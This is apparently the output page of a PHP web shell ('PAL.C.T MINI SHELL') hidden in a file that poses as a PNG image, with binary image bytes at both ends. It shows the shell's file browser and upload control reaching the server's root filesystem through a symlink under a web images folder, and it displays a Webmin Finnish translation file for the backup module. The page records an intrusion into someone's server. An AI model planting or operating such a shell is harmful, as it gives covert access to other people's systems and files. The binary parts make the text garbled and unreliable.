php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/backup-config/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/backup-config/lang/fi.auto

index_title=Varmuuskopioi kokoonpanotiedostot
index_emods=Mikään järjestelmän Webmin-moduuleista ei tue kokoonpanovarmuuskopioita.
index_dest=Varmuuskopiokohde
index_mods=Webmin-moduulit
index_sched=Säännöllisen?
index_when=Kyllä, $1 
index_count=$1 moduulia
index_add=Lisää uusi ajoitettu varmuuskopio.
index_none=Ajoitettuja varmuuskopioita ei ole vielä määritetty.
index_header=Varmuuskopioinnin määritykset nyt
index_now=Varmuuskopioi nyt
index_return=ajoitettujen varmuuskopioiden luettelo
index_return2=varmuuskopio ja palauta lomakkeet
index_header2=Palauta kokoonpano nyt
index_now2=Palauta nyt
index_apply=Käytätkö kokoonpanoja?
index_test=Näytä vain mitä palautetaan?
index_jobs=Ajoitetut varmuuskopiot
index_nostrftime=Varoitus - jotkut varmuuskopiointityöt käyttävät % tiedostonimissään, mutta strftime-korvaaminen ei ole käytössä Moduulin kokoonpanosivulla.
index_tabsched=Ajoitetut varmuuskopiot
index_tabbackup=Varmuuskopio nyt
index_tabrestore=Palauta nyt

edit_title1=Luo ajoitettu varmuuskopio
edit_title2=Muokkaa ajoitettuja varmuuskopioita
edit_header=Ajoitetut varmuuskopiointivaihtoehdot
edit_header2=Varmuuskopio-komennot ennen ja jälkeen
edit_header3=Varmuuskopioaikataulu
edit_email=Lähetä tulos osoitteeseen
edit_emode=Milloin lähettää sähköpostia
edit_emode0=Aina
edit_emode1=Vain kun tapahtuu virhe
edit_sched=Ajoitettu varmuuskopio käytössä?
edit_schedyes=Kyllä, alla valituina aikoina ..
edit_mods=Varmuuskopioitavat moduulit
edit_dest=Varmuuskopiokohde
edit_mods2=Palautettavat moduulit
edit_other2=Muut palautettavat tiedostot
edit_dest2=Palauta
edit_what=Sisällytä varmuuskopioon
edit_webmin=Webmin-moduulin määritystiedostot
edit_nofiles=Palvelimen kokoonpanotiedostot
edit_run=Tallenna ja varmuuskopioi nyt
edit_return=varmuuskopio
edit_other=Muut luettelossa olevat tiedostot ..
edit_pre=Pre-backup-komento
edit_post=Varmuuskopioinnin jälkeinen komento

save_err=Varmuuskopion tallentaminen epäonnistui
save_emods=Ei moduuleja valittu
save_ewebmin=Webmin- tai palvelinmääritystiedostoja ei valittu

backup_mode0=Paikallinen tiedosto
backup_mode1=FTP-palvelin
backup_mode2=SSH-palvelin
backup_mode3=Lähetetty tiedosto
backup_mode4=Lataa selaimessa
backup_path=tiedosto palvelimella
backup_login=Kirjaudu sisään käyttäjänä
backup_pass=salasanalla
backup_port=Palvelimen portti
backup_epre=Moduuli $1 hylätty varmuuskopio : $2 
backup_enone=Yksikään moduuli ei toimittanut olemassa olevia tiedostoja varmuuskopioksi!
backup_etar=TAR epäonnistui : $1 
backup_egunzip=Varmuuskopio on pakattu, mutta <tt>gunzip</tt> -sovellusta ei ole asennettu
backup_euntar=Poista-TAR epäonnistui : $1 
backup_enone2=Mikään valittujen moduulien tiedostoista ei ole varmuuskopiossa
backup_epre2=Moduulin $1 hylätty palautus : $2 

backup_err=Varmuuskopiointi epäonnistui
backup_edest=Puuttuva tai virheellinen ehdoton paikallinen tiedosto
backup_eserver1=Puuttuva tai virheellinen FTP-palvelin
backup_eserver2=Puuttuva tai virheellinen SSH-palvelin
backup_epath=Puuttuva tai virheellinen absoluuttinen polku FTP-palvelimella
backup_epath2=Puuttuva tai virheellinen absoluuttinen polku SSH-palvelimella
backup_euser=Virheelliset merkit FTP-palvelimen kirjautumisessa
backup_epass=Virheelliset merkit FTP-palvelimen salasanassa
backup_eport=Puuttuva tai virheellinen FTP-palvelinportti
backup_esport=Puuttuva tai virheellinen SSH-palvelinportti
backup_emods=Ei moduuleja valittu
backup_title=Varmuuskopiointiasetukset
backup_doing=Moduulitiedostojen varmuuskopioinnin aloittaminen tiedostoon $1.
backup_failed=.. epäonnistui! $1 
backup_done=.. saattaa loppuun. Lopullinen varmuuskopio oli $1, joka sisälsi $2 tiedostoa.

restore_err=Palauttaminen epäonnistui
restore_emods=Ei moduuleja tai muita tiedostoja valittu
restore_title=Palauta kokoonpano
restore_doing=Aloitetaan moduulin kokoonpanotiedostojen palauttaminen kohdasta $1 ..
restore_testing=Varmuuskopion sisällön purkaminen $1 : stä ..
restore_failed=.. epäonnistui! $1 
restore_done=.. saattaa loppuun. $1 tiedostoa palautettiin.
restore_done2=.. varmuuskopiossa olevat tiedostot ovat :

nice_ftp=$2 $1 : ssä FTP: n kautta
nice_ftpp=$2 $1 -portissa $3 FTP: n kautta
nice_ssh=$2 $1 : ssä SSH: n kautta
nice_sshp=$2 $1 -portissa $3 SSH: n kautta
nice_upload=ladattu tiedosto
nice_download=selain

log_backup=Varmuuskopio $1 moduuleista $2 : ksi
log_restore=Palautettu $1 moduulia kohdasta $2 
log_create_backup=Luotu varmuuskopio $1 moduuleista $2 : een
log_modify_backup=Muokattu varmuuskopio $1 moduuleista $2 : ksi
log_delete_backup=$1 moduulien varmuuskopio poistettu $2 : een
log_run_backup=Suoritettu varmuuskopio $1 moduuleista $2 : een

run_title=Varmuuskopiointimääritykset
run_doing=$1 -moduulien varmuuskopioinnin aloittaminen kohtaan $2.
run_ok=.. varmuuskopiointi onnistui.
run_failed=.. varmuuskopiointi epäonnistui! Katso syy miksi yllä olevassa virhesanomassa.

email_mods=Moduulien varmuuskopio :
email_failed=$1 epäonnistui :
email_ok=kohteeseen $1 onnistui.
email_sfailed=Konfiguroinnin varmuuskopio $1 : llä epäonnistui
email_sok=Konfiguroinnin varmuuskopio $1 : ssä onnistui
email_final=Lopullinen varmuuskopiotiedoston koko oli $1 
email_pre=Varmuuskopiointia edeltävä komento $1 ..
email_post=Suoritetaan varmuuskopioinnin jälkeistä komentoa $1 ..
email_prefailed=Varmuuskopioinnin esikomento epäonnistui!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`